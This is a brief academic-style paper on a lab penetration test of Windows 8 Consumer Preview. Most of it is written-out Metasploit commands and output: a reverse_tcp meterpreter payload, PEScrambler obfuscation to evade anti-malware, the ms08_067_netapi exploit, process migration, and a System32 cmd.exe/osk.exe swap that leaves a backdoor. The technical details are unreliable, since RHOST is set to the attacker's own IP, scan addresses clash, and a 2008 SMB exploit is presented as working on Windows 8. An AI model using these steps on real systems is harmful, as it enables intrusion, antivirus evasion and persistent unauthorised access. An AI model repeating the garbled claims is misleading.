Compromising windows 8 with metasploit’s exploit

Monika Pangaria, Vivek Shrivastava, Priyanka Soni

Abstract: Windows 8, the latest operating system by Microsoft will be launching soon in October 2012. It is designed and developed for use of desktops, laptops, tablets and home theatre PC’s as well.

Penetration Testing – It is a process to simulate all the possible notorious ways used by hackers to breach a system’s security. But on the contrary it is purely ethical in deed so as to know in advance how a machine can suffer security circumvention attack.

The main motto of this paper is to compromise a system with windows 8 OS. This pentest breach the Anti malware protection process. Using metasploit exploit ms08_067_netapi and meterpreter payload windows/meterpreter/reverse_tcp we get our goal.

The thing to be bothered about is meterpreter payload can now be encountered by Anti-Viruses. And spotlight in windows 8 Anti Malware Protection perform icing on a cake. We do condone this spotlight in our experiment using PEScramble.

Keywords: Penetration Testing, Exploit, Payload, FUD(fully undetectable).

I. Introduction

Penetration Testing is a conduct implicates assimilation of deeds used by hackers to rupture enterprise’s security[9]. Windows 8, is ameliorating esteem among people at an exponential rate. So by the couple of months it will be installed on millions of desktops, laptops, tablets. This paper encircle all the efforts done in penetrating into machine having windows 8.

The tools we have used in this context are Metasploit Framework 3.0, nmap, PEScrambler.

II. Concept

Fig. 1 shows the hypothesis behind Penetration Testing.

![Penetration Testing Process](image)

Fig. 1 Penetration Testing Process

Here, computer A is supposed to be a victim of computer B. First a union of exploit + payload is injected into a victim’s computer [1]. Then exploit comes into work, payloads commences its attack process only if an exploit get its desired acquirement.

Once an exploit entrenched, a reverse connection is established. Now, a time for action, we can procure dominance like data registry read/write operations , uploading and downloading, taking snapshots, process migration, key strokes scan and much more to do. Once the desired tasks are amassed we can raise the bar for privilege escalation.

III. Experiment

Aim: Compromising window 8 with Metasploit’s exploit.

Experiment Setup: Creating a virtual lab having following stuff. They are

1. Vmware Workstation 9.0
2. Windows 8 consumer preview 64 bit
3. Backtrack 5 R1 (Linux based OS)
4. PEScramble_v0_1

Process:

1. Intelligence Gathering and Vulnerability Scanning[3] -
   It acquires target knowledge and made foundation of pentest without revealing attacker’s presence and its desires. It is the most cardinal step of penetration test as it supplies a base for it. The tool availed by us for port scanning is NMAP. For scanning selective range of IP Addresses we do this with a command

   root@bt:~# Nmap 192.168.129.*

   This will assemble all the information like state of host, closed ports, open ports. We get the following result for our target 192.168.129.133

   root@bt:~# 192.168.129.133
   Nmap scan report for 172.168.129.133
   Host is up (0.00078s latency).
   Not shown: 993 closed ports
   PORT     STATE     SERVICE
   135/tcp  open      msrpc
   139/tcp  open      netbios-ssn
   445/tcp  open      microsoft-ds
   554/tcp  open      rtsp
   2869/tcp open      icslap
   5357/tcp open      wsdapi
   10243/tcp open      unknown
   MAC Address 00:0C:29:14:9A:EF (vmware)

   Nmap done: 1 IP address (1 host up) scanned in 19.40 seconds

2. Making .exe payload
   Next step is to make an exe file clutching payload within.
   root@bt: /# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.129.128 LPORT 4444 x > /root/test.exe
   The outcome test.exe will be placed in root folder. Now its time for bustle, But afore we do this, crucial point that may perturbed is MALWARE PROTECTION PROCESS inbuilt in windows 8. When we load this file in windows 8 running machine it will be detected. So two ways to get eradicated from this:
   2. Or beget this exe FUD (fully undetectable).

3. FUD Construction –
   Any Anti-Virus program or Anti-Malware program disclose virus through a special virus signature that sizes 1 Byte. PEScrambler works solely on windows platform. So once payload is contrived in backtrack, load it into windows machine. Let see how it works[8]?
   - Copy the payload in same directory in which PEScrambler is located.
   - Type the following command in cmd window and do not disremember to change directory to PEScrambler folder.
   Using command-
   PEScrambler.exe -i test.exe –o undetectable.exe
   - Now It’s utterly encoded. It will not be pinpointed by Anti Malware Protection mechanism inbuilt with Windows 8

4. Exploitation –
   Exploits are deleterious code that runs against loopholes or vulnerabilities that we earlier determined in penetration test stages.
   Exploits execute within msfconsole[4].
   msf > use exploit/windows/smb/ms08_067_netapi
   msf exploit (handler) > set PAYLOAD windows/meterpreter/reverse_tcp
   PAYLOAD -> windows/meterpreter/reverse_tcp
   msf exploit (handler) > set RHOST 192.168.129.128
   RHOST -> 192.168.129.128
   msf exploit (handler) > set LHOST 192.168.129.128
   LHOST -> 192.168.129.128
   msf exploit (handler) > set LPORT 4444
Compromising Windows 8 With Metasploit’s Exploit

LPORT -> 4444
msf exploit (handler) > exploit
[*] Started reverse handler on 192.168.129.128
[*] Starting the payload handler
[*] Sending stage (752128 bytes) to 192.168.129.133

meterpreter >
   Here we got meterpreter session!!!
5. Meterpreter
   Once we reach meterpreter session, we can exploit in any way we want. Let’s build a backdoor using meterpreter.

meterpreter > getpid
   Current pid : 3632
   Now see which pid is this by using command ‘ps’.

meterpreter > ps
   It will result in following
   PID 3632
   Name test.exe
   Arch x86
   Session1
   User win/Monika
   Path
   C:\Users\Monika\Desktop\test.exe
   Now to change our pid we must migrate to another process. To see list of processes running on target

meterpreter > ps
   Search for explorer.exe
   PID 2512
   Name explorer.exe
   Arch x86
   Session1
   User win/Monika
   Path
   C:\Windows\explorer.exe

   Now migrate to this process[7].
meterpreter >migrate 2512
   [*] Migrating to 2512
   [*] Migration completed successfully.
   Now again check pid

meterpreter > getpid
   Current Identifier : 2512
   Now inquiry system info

 meterpreter > sysinfo
   Computer : WIN
   Os : Windows 8
   Architecture : x64
   System Language: en_US
   Meterpreter : x64/win64

   Now the terminal step is to access C Drive[8].
meterpreter > shell
   Process 1632 created.
   Channel 1 created.
Microsoft Windows [Version 6.2.8250]
© 2012 Microsoft Corporation All Rights Reserved.
C:\Users\Monika\Desktop>cd\
C:\>cd Windows/System32
C:\Windows\System32>

Once we get into system32 folder. Simply rename cmd.exe as osk.exe and osk.exe as cmd.exe. This will open a backdoor. Whenever we wish to access that system no entrance fee is required[6]. When it buzz for password, press Shift Key 5 times, you will get an instance of explorer.exe and machine is being compromised.

IV. Future Scope And Conclusion

Future Scope:
In future, patches should be made in order to prevent these exploits breaching security. The performance of this penetration test can be enhanced by using Core Impact with Metasploit Framework.

Conclusion:
To be concluded, yet windows 8 is accomodated with wide level security and an impression behind it was to oppress all those exasperating creeps. It demands to be more secure and steadfast so that not even single exploit can convince it be compromised.

References